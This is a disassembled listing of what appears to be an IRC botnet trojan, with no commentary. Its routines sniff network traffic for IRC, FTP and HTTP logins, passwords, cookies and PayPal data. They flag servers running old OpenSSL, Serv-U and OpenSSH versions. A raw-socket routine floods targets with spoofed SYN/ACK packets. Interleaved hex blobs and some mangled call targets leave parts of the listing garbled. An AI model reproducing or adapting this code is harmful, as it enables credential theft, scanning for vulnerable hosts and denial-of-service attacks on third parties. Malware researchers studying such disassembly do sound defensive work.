dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
dd 90006A59h, 2DDF1FE8h
db 2
byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o
dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah
dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh
dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
dd 565959FFh, 0DE4AE890h, 458B022Dh, 69106AD0h, 234C0h
dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch
dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0DDC6E856h
dd 5690022Dh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h
dd 5659FFFFh, 2DDD43E8h, 0BB539002h, 436C58h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2DDBA3E8h
db 2
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE734, eax
mov eax, offset dword_4CE734
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: ___:off_43ACE0o
push offset a302_0 ; "302 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_1 ; ":!login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login ; ":.Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper_0 ; "OPER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper ; "oper "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_3 ; "USER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_1 ; "PASS "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9E8
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA58
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CD20
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB968
push eax
lea eax, [ebp+var_2B8]
push offset unk_437870
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26F0A80h
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB980
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB968
push eax
lea eax, [ebp+var_2B8]
push offset unk_437840
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26F0A80h
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9EC
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41C266
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41C266
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B9C0
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43780C
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377D8
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377A4
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_413100
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_43776C
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C360
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437734
jmp short loc_413573
sub_4131EC endp
; ---------------------------------------------------------------------------
byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228D1A3h
dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
dd 0FF804DE8h, 565959FFh, 0D3EEE890h, 5E5F022Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413694 proc near ; CODE XREF: ___:00413A0Bp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9B4
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9D4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9D4
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9D4
mov [ebp+var_12], ax
call sub_41C2C2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9D0
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9D4
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27B0379h
lea eax, [ebp+var_1C]
push eax
call near ptr 27B011Ch
nop
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4
mov [ebp+var_14], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA38
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27B011Ch
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB968
push eax
lea eax, [ebp+var_F4]
push offset dword_4378C4
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+arg_8]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA6C
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB92C
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov esi, eax
call sub_41C159
push dword ptr [esp+24h]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: ___:00413A15j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
